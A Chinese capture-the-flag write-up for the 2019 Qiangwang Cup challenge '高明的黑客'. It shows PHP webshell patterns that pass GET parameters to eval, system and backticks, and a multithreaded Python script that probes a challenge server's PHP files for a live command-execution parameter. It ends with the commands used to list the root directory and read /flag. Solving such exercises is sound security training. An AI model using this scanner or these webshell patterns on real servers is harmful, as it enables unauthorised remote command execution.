题目名称
[强网杯 2019] 高明的黑客
本题考点:
- python 代码能力
- php 代码能力
存在形如
$_GET['ganVMUq3d'] = ' ';
eval($_GET['ganVMUq3d'] ?? ' ');
$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');
$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;
思路:遍历文件查找未被置空入口
exp
import os | |
import requests | |
import re | |
import threading | |
import time | |
print('开始时间: '+ time.asctime( time.localtime(time.time()) )) | |
s1=threading.Semaphore(100) #这儿设置最大的线程数 | |
filePath = r"C:\Users\Zeroc\Desktop\src" | |
os.chdir(filePath) #改变当前的路径 | |
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接 | |
files = os.listdir(filePath) | |
session = requests.Session() | |
session.keep_alive = False # 设置连接活跃状态为 False | |
def get_content(file): | |
s1.acquire() | |
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) | |
with open(file,encoding='utf-8') as f: #打开 php 文件,提取所有的 $_GET 和 $_POST 的参数 | |
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) | |
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read())) | |
data = {} #所有的 $_POST | |
params = {} #所有的 $_GET | |
for m in gets: | |
params[m] = "echo 'xxxxxx';" | |
for n in posts: | |
data[n] = "echo 'xxxxxx';" | |
url = 'http://8ef3451d-d795-4c24-a59e-0ce0709fa836.node4.buuoj.cn/'+file | |
#print(url) | |
req = session.post(url, data=data, params=params) #一次性请求所有的 GET 和 POST | |
req.close() # 关闭请求 释放内存 | |
req.encoding = 'utf-8' | |
content = req.text | |
#print(content) | |
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数 | |
flag = 0 | |
for a in gets: | |
req = session.get(url+'?%s='%a+"echo 'xxxxxx';") | |
content = req.text | |
req.close() # 关闭请求 释放内存 | |
if "xxxxxx" in content: | |
flag = 1 | |
break | |
if flag != 1: | |
for b in posts: | |
req = session.post(url, data={b:"echo 'xxxxxx';"}) | |
content = req.text | |
req.close() # 关闭请求 释放内存 | |
if "xxxxxx" in content: | |
break | |
if flag == 1: #flag 用来判断参数是 GET 还是 POST,如果是 GET,flag==1,则 b 未定义;如果是 POST,flag 为 0, | |
param = a | |
else: | |
param = b | |
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param) | |
print('结束时间: ' + time.asctime(time.localtime(time.time()))) | |
s1.release() | |
for i in files: #加入多线程 | |
t = threading.Thread(target=get_content, args=(i,)) | |
t.start() |
跑出可用的 shell
之后就是
xk0SzyKwfzw.php?Efa5BVG=ls /
xk0SzyKwfzw.php?Efa5BVG=cat /flag